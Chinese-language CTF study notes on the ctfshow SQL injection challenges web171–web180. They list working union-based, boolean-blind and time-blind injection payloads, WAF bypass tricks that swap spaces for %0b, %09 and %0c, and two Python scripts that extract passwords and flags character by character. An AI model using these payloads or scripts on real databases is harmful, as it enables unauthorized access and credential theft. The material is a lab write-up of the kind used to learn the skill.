1.web171
$sql = "select username,password from user where username !='flag' and id = ' ".$_GET['id']." ' limit 1;";
1'or1=1--+
或者-1' or username = 'flag(id=-1不返回后面返回username是flag的这一条)
或者'or 1=1 %23(%23是#的url编码)
2.web172(union select注意列数要一样)
1' union select 1,select group_concat(password) from ctfshow_web.ctfshow_user2--+
爆库名->爆表名->爆字段名->爆字段值
-1' union select 1,database() --+ //返回数据库名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='库名' --+ //获取数据库里的表名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='表名' --+ //获取表内字段名
-1' union select 1,group_concat(字段名1) from 表名 --+ //获取字段值,有2个表,第一个表的password内有个值为flag not here,第二个表的password内有flag
3.web173
跟172差不多但是返回三列
4.web174(布尔盲注或者数字替换)
查询结果和sql语句都不能出现数字
1' OR 1=1 -- + //OR后面条件为真,页面返回userAUTO
1' OR 1=2 -- + //OR后面条件为假,页面返回不包含userAUTO
之后是替换条件语句,改为数据库读取语句。
主要要看几个函数:ascii,substr,length等。 按照群主的讲解,你可以在本地搭建数据库,调试语句。比如 select(ascii(substr(database(),1,1)))>91
大致步骤:查库、查表、查列、查数据。
payload = f"1 or ascii(substr(database(),{i},1))>{mid}# " #查库
#payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#" #查表
#payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#" #查列
#payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#" #查数据
import requests
url = "http://a187af19-f6df-4743-88eb-e329c0392984.challenge.ctf.show/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
数字替换参考的这个大佬
ctfshow-web入门-sql注入(web171-web175)_ctfshow web171-CSDN博客
5.web175(时间盲注)
还不是很会写python脚本,还是贴上大佬的脚本
ctfshow-web入门-sql注入(web171-web175)_ctfshow web171-CSDN博客
import requests
url = 'http://de93f700-084d-447e-a783-efdbd7efc984.challenge.ctf.show/api/v5.php'
out = ''
for i in range(1, 100):
left, right = 32, 128 # 设置ASCII值的搜索范围
mid = (left + right) // 2 # 计算中间值
while left < right:
# 这里用ascii函数来获取当前字符的ASCII值,与中间值进行比较,注意这条语句是sql中的用法,在python里获取ascii值是用ord函数
payload = f"id=1' and if(ascii(substr((select group_concat(password) from ctfshow_web.ctfshow_user5 where username='flag'), {i}, 1)) > {mid},sleep(3),0) --+&page=1&limit=10"
re = requests.get(url, params=payload)
time = re.elapsed.total_seconds()
if time > 2: # 存在延时,说明当前字符的ascii值大于我们的中间值
left = mid + 1 # 调整查找的范围,既然大于那说明ascii值是在中间值的右边,将中间值加1
else: # 不存在延时,说明当前字符的ascii值小于中间值,在左边
right = mid # 左边起始位置不变,将右边的查找范围调整为中间值
mid = (left + right) // 2 # 无论查询字符在左边还是右边,中间值都等于更新后的right+left再整除2,之后继续执行while循环,直到找到目标字符的ascii值,left=right,退出while循环
print(mid)
out += chr(mid)
print(out)
6.web176
过滤了select可以大写绕过
或者1’or 1=1 --+
7.web177
或者用/**/绕过:’or/**/1=1/**/%23
8.web178
ctfshow web入门 SQl注入web171--web179-CSDN博客
/**/和空格被过滤,用%0b(垂直制表符)或者%09(tab水平制表符)代替空格
9.web179
1'%0cor%0c1=1%23(也可用%0c:换行符代替空格)
或者1'or'1'='1'%23
或者-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
10。web180
--%0c可代替#(%00可绕过#)
'or'1'='1'--%0c